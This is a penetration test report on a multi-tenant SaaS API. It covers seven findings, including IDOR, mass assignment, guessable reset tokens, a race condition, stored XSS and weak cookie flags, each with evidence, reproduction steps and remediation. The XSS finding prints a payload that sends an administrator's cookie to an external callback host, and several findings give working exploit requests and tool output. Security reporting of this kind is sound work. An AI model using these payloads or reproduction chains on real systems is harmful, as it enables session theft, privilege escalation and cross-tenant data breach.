Web Application Penetration Test

Affected

GET|PATCH|DELETE /v1/organisations/{id}/* — 23 endpoints across the administrative API.

Description

Administrative API endpoints accept an organisation identifier as a path parameter and use it directly in the data-layer query. The application confirms that the caller holds an administrator role, but never confirms that the caller administers the organisation being requested. Any authenticated administrator of any tenant can therefore operate against every other tenant by changing one value in the URL.

Organisation identifiers are sequential integers, so enumerating the full customer list required no guessing. During testing the identifier space was walked from 1 to 500 in under two minutes.

Impact

Complete loss of tenant isolation—the security property a multi-tenant SaaS platform exists to provide. An attacker with any administrator account, including one created through a self-service trial, could read every customer's user records, billing details, and uploaded documents, and modify or delete them. For a platform handling regulated data this is a reportable breach of confidentiality and integrity across the entire customer base simultaneously.

Evidence

Authenticated as an administrator of test organisation 412, requesting an unrelated organisation:

GET /v1/organisations/87/members HTTP/1.1
Host: api-staging.████████.com
Authorization: Bearer eyJhbGciOi████████████████

HTTP/1.1 200 OK
Content-Type: application/json

{
  "organisation_id": 87,
  "name": "████████ Logistics",
  "members": [
    { "id": 9051, "email": "████████@████████.com", "role": "org_admin" },
    { "id": 9052, "email": "████████@████████.com", "role": "member" },
    ... 34 further records omitted
  ]
}

The same substitution succeeded against PATCH and DELETE routes. We verified write access by renaming a second test organisation created for this purpose, and made no modifications to any record we did not own.

Reproduction

1. Authenticate as an administrator of any organisation and capture the bearer token.
2. Note your own organisation identifier from GET /v1/me.
3. Issue GET /v1/organisations/{other_id}/members with any other identifier.
4. Observe a 200 OK containing another tenant's records.

Remediation

• Derive tenant context from the session, never from the request. The organisation a caller may act on should be resolved from their authenticated identity server-side; it should not be an input the client supplies.
• Where an identifier must appear in the path, enforce a membership check in a single shared authorisation middleware that every route inherits by default, rather than per-handler checks that can be omitted on new endpoints.
• Replace sequential integer identifiers with unguessable values (UUIDv4 or similar). This is defence in depth, not a fix—it raises the cost of enumeration but does not restore isolation on its own.
• Add an automated test asserting that a member of tenant A receives 403 for every route parameterised by tenant B, so regressions surface in CI.

ASVS 5.0 mapping

Verification requirements this finding fails:

• 8.2.2 (L1) — data-specific access must be restricted to consumers with explicit permissions to those data items, mitigating IDOR and broken object level authorization.
• 8.3.1 (L1) — authorization rules must be enforced at a trusted service layer, not by controls an untrusted consumer can manipulate.
• 8.1.1 (L1) — authorization documentation must define the rules restricting function-level and data-specific access by consumer permissions and resource attributes.

Affected

PATCH /v1/users/me

Description

The profile update handler passes the parsed request body directly into the user model's update method. Every column on that model is therefore writable by the user, including fields never rendered by the front-end—among them role, email_verified, and organisation_id. The endpoint validates the format of submitted fields but not whether the caller is permitted to write them.

Impact

Any authenticated user can promote themselves to organisation administrator with a single request, which in turn unlocks the administrative API surface exploited in SPM-01. Combined, these two findings mean any user of any tenant—including a self-service trial signup—can reach total platform compromise.

Evidence

PATCH /v1/users/me HTTP/1.1
Host: api-staging.████████.com
Authorization: Bearer eyJhbGciOi████████████████
Content-Type: application/json

{ "display_name": "test", "role": "org_admin" }

HTTP/1.1 200 OK

{ "id": 4417, "display_name": "test", "role": "org_admin" }

The elevated role persisted across sessions and was honoured by authorisation checks on subsequent requests.

Reproduction

1. Register or authenticate as a standard user.
2. Send the request above, adding "role": "org_admin" to a normal profile save.
3. Re-authenticate and confirm administrative routes now return 200.

Remediation

• Bind requests to an explicit allowlist of user-writable fields (display_name, avatar_url, locale), and discard everything else before it reaches the model layer.
• Move role changes to a dedicated, separately authorised endpoint that logs the actor, the target, and the previous value.
• Audit every other endpoint using the same binding pattern—this is a framework idiom, so where it appears once it usually appears in several places.

ASVS 5.0 mapping

Verification requirements this finding fails:

• 15.3.3 (L2) — the application must have countermeasures against mass assignment, limiting allowed fields per controller and action so a field cannot be written when it was not intended to be part of that action.
• 8.1.2 (L2) — authorization documentation must define field-level access restrictions for both read and write.

Affected

POST /v1/auth/forgot-password, POST /v1/auth/reset-password

Description

Reset tokens are generated by hashing the target's email address together with the current Unix timestamp in seconds, using a non-cryptographic pseudo-random source seeded from that same timestamp. Because both inputs are known or narrowly bounded to an attacker—the address is the account being targeted and the timestamp is the moment of the request—the resulting token space for a given reset is small enough to exhaust.

Tokens remained valid for 24 hours and were not invalidated when a newer reset was requested, widening the window considerably.

Impact

Takeover of any account whose email address is known, with no interaction from the account owner and no prior access. Because the platform's SSO users can also fall back to password authentication, this bypasses the SSO controls those customers rely on.

Evidence

Generating candidates across a ±90-second window around a triggered reset produced a valid token in 41 seconds on commodity hardware:

[*] target: ████████@████████.com
[*] reset requested at t=1778294401
[*] generating candidates t-90 .. t+90
[+] valid token found: a7f3████████████████████ (t=1778294417)
[+] elapsed: 41.2s
[+] password set — authenticated as user 4419

Reproduction

1. Trigger a reset for a known address and note the approximate request time.
2. Generate token candidates for each second in the surrounding window using the disclosed algorithm.
3. Submit candidates to the reset endpoint until one returns success.

Remediation

• Generate tokens from a cryptographically secure random source with at least 128 bits of entropy, independent of any user-supplied or time-derived value.
• Store only a hash of the token; compare in constant time.
• Reduce validity to 30–60 minutes, make tokens single-use, and invalidate all outstanding tokens for an account when a new one is issued or the password changes.
• Rate-limit reset submission per account and per source address, and alert on bursts of failed attempts.

ASVS 5.0 mapping

Verification requirements this finding fails:

• 11.5.1 (L2) — all random values intended to be non-guessable must come from a CSPRNG with at least 128 bits of entropy. (ASVS notes explicitly that UUIDs do not satisfy this.)
• 6.4.1 (L1) — system-generated activation codes must be securely randomly generated and expire after a short period or once used.
• 6.4.3 (L2) — a secure forgotten-password reset process must be implemented that does not bypass any enabled multi-factor mechanism.

Affected

POST /v1/invitations/{token}/accept

Description

Invitation acceptance reads the invitation, checks that it has not been redeemed, then writes the redemption in a separate statement. The check and the write are not atomic and are not protected by a lock or a uniqueness constraint, so concurrent requests carrying the same token all observe the unredeemed state and all succeed.

Impact

A single invitation can seat an unlimited number of users. Beyond the licensing and billing consequence, invitations are the mechanism by which users are attached to an organisation—so a leaked or forwarded invitation link becomes a reusable door into that tenant rather than a one-time grant.

Evidence

Twenty concurrent acceptance requests using one token:

$ ./race.py --token 8f2c████████ --concurrency 20

  requests sent      : 20
  HTTP 200 (accepted): 17
  HTTP 409 (rejected): 3
  seats consumed     : 1

[!] 17 accounts joined organisation 412 from a single invitation

Reproduction

1. Create a single-use invitation from an administrator account.
2. Dispatch 20 acceptance requests in parallel with the same token.
3. Observe multiple successes and a member count exceeding the seats billed.

Remediation

• Enforce redemption with a database-level uniqueness constraint on the invitation identifier so duplicate writes fail deterministically.
• Wrap the read-check-write in a single transaction with an appropriate row lock (SELECT ... FOR UPDATE), rather than relying on application-level ordering.
• Reconcile seat counts against billing on a schedule and alert on divergence.

ASVS 5.0 mapping

Verification requirements this finding fails:

• 15.4.2 (L3) — checks on a resource's state and the actions depending on them must be performed as a single atomic operation, preventing time-of-check to time-of-use race conditions.
• 15.4.1 (L3) — shared objects accessed concurrently must be handled with thread-safe types and synchronisation mechanisms such as locks.

Affected

Administrative console — member list view, rendering display_name.

Description

The member list in the administrative console renders user display names through a raw-HTML binding rather than the framework's escaping default. Values are sanitised on the public profile view but not in this administrative context, so a payload stored by a low-privilege user executes in the browser of any administrator who views the organisation's member list.

Impact

A standard user can execute script in an administrator's session. Because the application stores its session token in a cookie readable by JavaScript (see SPM-06), this permits session theft and, by extension, the administrative access described in SPM-01. Exploitation requires an administrator to visit a routine page, which they do as part of normal duties.

Evidence

PATCH /v1/users/me
{ "display_name": "<img src=x onerror=fetch('https://████████.oast.site/'+document.cookie)>" }

→ Payload fired on next administrator view of /admin/members
→ Callback received with session cookie ████████

Reproduction

1. As a standard user, set the display name to the payload above.
2. As an administrator of the same organisation, open the member list.
3. Observe the outbound callback carrying the administrator's cookie.

Remediation

• Remove the raw-HTML binding and render the value as text; the framework escapes by default and that default should not be overridden for user-controlled content.
• Apply output encoding consistently across administrative views—these are frequently missed because they are assumed to be trusted-user surfaces.
• Deploy a Content-Security-Policy that disallows inline execution, as a second layer.
• Set HttpOnly on the session cookie so script cannot read it (tracked as SPM-06).

ASVS 5.0 mapping

Verification requirements this finding fails:

• 1.2.1 (L1) — output encoding for an HTML document must be relevant to the context, encoding the characters required for HTML elements and attributes so document structure cannot be changed.
• 1.1.2 (L2) — output encoding and escaping must be performed as the final step before use by the interpreter, or by the interpreter itself.
• 3.4.3 (L2) — responses must include a Content-Security-Policy limiting execution of malicious JavaScript.

Affected

Session cookie sid, set at POST /v1/auth/login.

Description

The session cookie is issued without Secure, SameSite, or HttpOnly. It is therefore transmissible over plaintext HTTP if a request is ever downgraded, attached to cross-site requests, and readable by any JavaScript executing in the page.

Impact

On its own, limited—the application redirects to HTTPS and no cross-site state-changing endpoint was found unprotected. Its significance here is as an amplifier: the missing HttpOnly flag is what turns SPM-05 from a defacement into session theft.

Evidence

HTTP/1.1 200 OK
Set-Cookie: sid=b41f████████████████; Path=/; Max-Age=1209600

Remediation

• Issue the cookie as Secure; HttpOnly; SameSite=Lax (or Strict if the flow permits).
• Add HTTP Strict Transport Security with a suitable max-age to prevent downgrade.
• Shorten session lifetime and rotate the identifier on privilege change.

ASVS 5.0 mapping

Verification requirements this finding fails:

• 3.3.1 (L1) — cookies must set the Secure attribute, using the __Host- or __Secure- name prefix.
• 3.3.4 (L2) — a cookie whose value should not be reachable by client-side script, such as a session token, must set HttpOnly.
• 3.3.2 (L2) — each cookie's SameSite attribute must be set according to that cookie's purpose.
• 3.4.1 (L1) — a Strict-Transport-Security header with a maximum age of at least one year must be present on all responses.

Affected

API error handler — observed on 11 endpoints when supplied malformed input.

Description

Unhandled exceptions return the full stack trace, framework and ORM versions, and absolute server file paths. Debug-level error handling appears to be enabled in this environment.

Impact

No direct compromise. The practical impact in this engagement was to accelerate the rest of it: the disclosed authentication library and version told us how reset tokens were generated, which is what made SPM-03 a targeted attack instead of guesswork. We record it as informational because it grants no access by itself, and rate it as worth fixing because of exactly that acceleration.

Evidence

HTTP/1.1 500 Internal Server Error

{
  "error": "TypeError: Cannot read property 'id' of undefined",
  "stack": "at /srv/████████/api/src/handlers/members.js:118:23 ...",
  "framework": "████████ 4.18.2",
  "orm": "████████ 6.9.1"
}

Remediation

• Return a generic error body with a correlation identifier; log the detail server-side only.
• Confirm debug mode is disabled in every non-development environment via configuration management rather than by convention.

ASVS 5.0 mapping

Verification requirements this finding fails:

• 16.5.1 (L2) — a generic message must be returned when an unexpected or security-sensitive error occurs, with no exposure of internal data such as stack traces, queries, secret keys, or tokens.
• 13.4.2 (L2) — debug modes must be disabled for all components in production environments to prevent information leakage.